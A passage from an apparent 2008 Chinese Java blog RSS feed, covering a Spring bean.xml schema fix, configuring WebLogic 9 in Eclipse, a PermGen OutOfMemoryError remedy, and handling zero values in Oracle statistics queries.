<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.XMLErrorReporter.reportError(XMLErrorReporter.java:</span><span style="color: #000000">384</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.XMLErrorReporter.reportError(XMLErrorReporter.java:</span><span style="color: #000000">318</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.xs.XMLSchemaValidator.handleStartElement(XMLSchemaValidator.java:</span><span style="color: #000000">1887</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.xs.XMLSchemaValidator.startElement(XMLSchemaValidator.java:</span><span style="color: #000000">685</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.XMLNSDocumentScannerImpl.scanStartElement(XMLNSDocumentScannerImpl.java:</span><span style="color: #000000">400</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.XMLNSDocumentScannerImpl$NSContentDriver.scanRootElementHook(XMLNSDocumentScannerImpl.java:</span><span style="color: #000000">626</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl$FragmentContentDriver.next(XMLDocumentFragmentScannerImpl.java:</span><span style="color: #000000">3084</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$PrologDriver.next(XMLDocumentScannerImpl.java:</span><span style="color: #000000">912</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(XMLDocumentScannerImpl.java:</span><span style="color: #000000">645</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.XMLNSDocumentScannerImpl.next(XMLNSDocumentScannerImpl.java:</span><span style="color: #000000">140</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:</span><span style="color: #000000">508</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:</span><span style="color: #000000">807</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:</span><span style="color: #000000">737</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:</span><span style="color: #000000">107</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:</span><span style="color: #000000">225</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:</span><span style="color: #000000">283</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.beans.factory.xml.DefaultDocumentLoader.loadDocument(DefaultDocumentLoader.java:</span><span style="color: #000000">78</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:</span><span style="color: #000000">361</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />&nbsp;</span><span style="color: #000000">32</span><span style="color: #000000">&nbsp;more</span></div>
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 这个错误就是书上的错误了。问题是因为bean.xml写的有问题，书上这样<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&lt;</span><span style="color: #000000">beans</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">description</span><span style="color: #000000">&gt;</span><span style="color: #000000">Spring&nbsp;Quick&nbsp;Start&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;/</span><span style="color: #000000">description</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">bean&nbsp;id</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">TheAction</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">class</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">com.neusoft.wang_xj.actionImpl.UpperAction</span><span style="color: #000000">"</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">property&nbsp;name</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">message</span><span style="color: #000000">"</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">value</span><span style="color: #000000">&gt;</span><span style="color: #000000">HeLLo</span><span style="color: #000000">&lt;/</span><span style="color: #000000">value</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;/</span><span style="color: #000000">property</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000">&lt;/</span><span style="color: #000000">bean</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;/</span><span style="color: #000000">beans</span><span style="color: #000000">&gt;</span></div>
&nbsp;&nbsp; 是不正确。修改成这样：<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&lt;?</span><span style="color: #000000">xml&nbsp;version</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">1.0</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;encoding</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">UTF-8</span><span style="color: #000000">"</span><span style="color: #000000">?&gt;</span><span style="color: #000000">&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">beans&nbsp;xmlns</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.springframework.org/schema/beans</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;xmlns:xsi</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.w3.org/2001/XMLSchema-instance</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;xmlns:aop</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.springframework.org/schema/aop</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;xmlns:tx</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.springframework.org/schema/tx</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;xmlns:context</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">http://www.springframework.org/schema/context</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;xsi:schemaLocation</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;&nbsp;&nbsp;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/beans&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/beans/spring-beans-2.0.xsd&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/aop&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/aop/spring-aop-2.0.xsd&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/tx&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/tx/spring-tx-2.0.xsd&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/context&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http:</span><span style="color: #008000">//</span><span style="color: #008000">www.springframework.org/schema/context/spring-context-2.5.xsd"&gt;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">bean&nbsp;id</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">TheAction</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">class</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">com.neusoft.wang_xj.actionImpl.UpperAction</span><span style="color: #000000">"</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">property&nbsp;name</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">message</span><span style="color: #000000">"</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">value</span><span style="color: #000000">&gt;</span><span style="color: #000000">HeLLo</span><span style="color: #000000">&lt;/</span><span style="color: #000000">value</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;/</span><span style="color: #000000">property</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;/</span><span style="color: #000000">bean</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;/</span><span style="color: #000000">beans</span><span style="color: #000000">&gt;</span></div>
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 问题就解决了。<br />
<br />
&nbsp;&nbsp;&nbsp; 不知道你按照我说的修改，问题解决了么？
<img src ="http://www.blogjava.net/soddabao/aggbug/231185.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-09-25 20:38 <a href="http://www.blogjava.net/soddabao/archive/2008/09/25/231185.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>eclispe配置weblogic9</title><link>http://www.blogjava.net/soddabao/archive/2008/08/29/225552.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Fri, 29 Aug 2008 05:13:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/08/29/225552.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/225552.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/08/29/225552.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/225552.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/225552.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eclipse配置weblogic，常用的有两种方法：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一是使用weblogic插件<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 而是使用myeclipse插件。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我个人比较喜欢使用weblogic插件，主要是myeclipse插件比较大，而且还是收费，找注册码吧还是盗人家，于心不忍。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面我介绍两种方法配置插件的方法，大家看我的配置截图，应该会明白，不过weblogic需要5以上的jdk。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; weblogic插件：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://www.blogjava.net/images/blogjava_net/soddabao/weblogicweblogic.GIF" border="0" /><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; myeclipse插件：<br />
&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://www.blogjava.net/images/blogjava_net/soddabao/weblogic9myeclipse.GIF" border="0" />
<img src ="http://www.blogjava.net/soddabao/aggbug/225552.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-08-29 13:13 <a href="http://www.blogjava.net/soddabao/archive/2008/08/29/225552.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>weblogic java.lang.OutOfMemoryError PermGen space及其解决方法</title><link>http://www.blogjava.net/soddabao/archive/2008/08/29/225548.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Fri, 29 Aug 2008 04:55:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/08/29/225548.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/225548.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/08/29/225548.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/225548.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/225548.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="font-family: 宋体">错误现象，</span>eclipse<span style="font-family: 宋体">插件配置</span>weblogic9.2<span style="font-family: 宋体">，启动后进入</span> console<span style="font-family: 宋体">控制台发布程序时，后台报错，出现类型如下错误<br />
&nbsp;&nbsp;
<table style="width: 760px; height: 147px" cellspacing="2" cellpadding="2" width="760" border="0">
    <tbody>
        <tr>
            <td>&nbsp;<span lang="EN-US">&lt;<st1:chsdate w:st="on" year="2008" month="8" day="28" islunardate="False" isrocdate="False">2008-8-28</st1:chsdate> </span><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">下午</span><span lang="EN-US">04</span><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">时</span><span lang="EN-US">02</span><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分</span><span lang="EN-US">47</span><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">秒</span><span lang="EN-US"> CST&gt; &lt;Error&gt; &lt;netuix&gt; &lt;BEA-423143&gt; &lt;A javax.servlet.ServletException occurred while rendering JSP /framework/skeletons/default/gridlayout.jsp, for control com.bea.netuix.servlets.controls.layout.GridLayout indicating the exception most likely originated in the JSP page. The error was: javax.servlet.ServletException: PermGen space The underlying cause was: java.lang.OutOfMemoryError: PermGen space<br />
            </span><span lang="EN-US" style="font-size: 10.5pt; color: red; font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 宋体; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">java.lang.OutOfMemoryError: PermGen space</span></td>
        </tr>
    </tbody>
</table>
</span>&nbsp;
<p><span style="font-family: 宋体">&nbsp;&nbsp;&nbsp; 注意上表中红色标记部分，内存溢出。</span></p>
<p><span style="font-family: 宋体">&nbsp;&nbsp;&nbsp; 我的笔记本有</span>2<span style="font-family: 宋体">、</span>3G<span style="font-family: 宋体">怎么还会内存溢出呢？不是说你笔记本的内存不够用，是指超过了</span>jvm<span style="font-family: 宋体">默认的大小</span>(4M)<span style="font-family: 宋体">那么就会产生此错误信息了。</span></p>
<p><span style="font-family: 宋体">&nbsp;&nbsp;&nbsp;解释一下(</span><span style="font-family: 宋体">网上看的</span>)<span style="font-family: 宋体">：</span>PermGen space<span style="font-family: 宋体">的全称是</span>Permanent Generation space,<span style="font-family: 宋体">是指内存的永久保存区域</span>, <span style="font-family: 宋体">这块内存主要是被</span>JVM<span style="font-family: 宋体">存放</span>Class<span style="font-family: 宋体">和</span>Meta<span style="font-family: 宋体">信息的</span>,Class<span style="font-family: 宋体">在被</span>Loader<span style="font-family: 宋体">时就会被放到</span>PermGen space<span style="font-family: 宋体">中</span>, <span style="font-family: 宋体">它和存放类实例</span>(Instance)<span style="font-family: 宋体">的</span>Heap<span style="font-family: 宋体">区域不同</span>,GC(Garbage Collection)<span style="font-family: 宋体">不会在主程序运行期对</span> PermGen space<span style="font-family: 宋体">进行清理，所以如果你的应用中有很多</span>CLASS<span style="font-family: 宋体">的话</span>,<span style="font-family: 宋体">就很可能出现</span>PermGen space<span style="font-family: 宋体">错误</span>, <span style="font-family: 宋体">这种错误常见在</span>web<span style="font-family: 宋体">服务器对</span>JSP<span style="font-family: 宋体">进行</span>pre compile<span style="font-family: 宋体">的时候。</span></p>
<p><span style="font-family: 宋体">&nbsp;&nbsp;&nbsp;解决的办法：</span></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;Eclipse &#8211;preferences-weblogic<span style="font-family: 宋体">的</span>javaVM option<span style="font-family: 宋体">点</span>add<span style="font-family: 宋体">按钮，增加一行：</span></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;-XX:MaxPermSize=128m(<span style="font-family: 宋体">这个是按照内存</span>1G<span style="font-family: 宋体">配置，如果你的内存足够大，你可以设置大于</span>128)<br />
&nbsp;&nbsp;&nbsp;&nbsp; 有人说需要修改.sh文件，其实我觉得不必要，直接在eclipse的weblogic插件下修改，显得更为方便。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 重新启动weblogic，是否发现之前的错误飞了。<br />
<br />
&nbsp;&nbsp;&nbsp; good luck~~~</p>
<img src ="http://www.blogjava.net/soddabao/aggbug/225548.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-08-29 12:55 <a href="http://www.blogjava.net/soddabao/archive/2008/08/29/225548.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ORACLE数据统计0的处理</title><link>http://www.blogjava.net/soddabao/archive/2008/07/11/214290.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Fri, 11 Jul 2008 08:12:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/07/11/214290.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/214290.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/07/11/214290.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/214290.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/214290.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大概是前一周去见客户，他要弄了年终统计报表，从系统中所有台帐的基础数据去统计总算、容量等数据。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 拿到统计模板一看，傻眼了需要统计近百项，而且每一项都需要单独使用SQL去查询。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 起初&nbsp; 为了方便查询数据，中间视图套用视图，结果发现我嵌套了3层视图，效率实在不敢恭维。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 后来 为了提高效率，就把中间的视图去掉，改为从表查询数据，结果每个项需要查询3~4表，效率比第一次提升不少。其实查询这种统计数据，千万不能视图套用视图，那效率就没的说了。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 程序实现，发现使用count(*)统计总数的时候，如没有则显示0；使用sum()统计，则没有不显示，这样我前台页面上有的没有数据显示0，有的没有数据不显示，不统一也不美观。<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 改造1，在查询数据的java端操作，不是我不想在 我的视图中修改，我先后试验过decode、nvl、case甚至使用if then else 语句，都没有把这个讨厌的0去掉，没有部分只好在java端进行for循环了，这样效率也不怎么样，白白多了2层循环，鉴于视图写的比较合理，这样的速度客户居然能接受。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 晚上睡觉就想，怎么才能把0去掉了，基本上把oracle的函数都想一遍了，甚至想自己写的函数实现，后来想到replace函数，结果使用成功了。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 但是发现使用replace的效率好像没有使用改造1的方案快？<br />
<br />
&nbsp;&nbsp;&nbsp; 不知各位还有没有别的方法处理0这个问题，欢迎大家讨论一下。</p>
 <img src ="http://www.blogjava.net/soddabao/aggbug/214290.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-07-11 16:12 <a href="http://www.blogjava.net/soddabao/archive/2008/07/11/214290.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>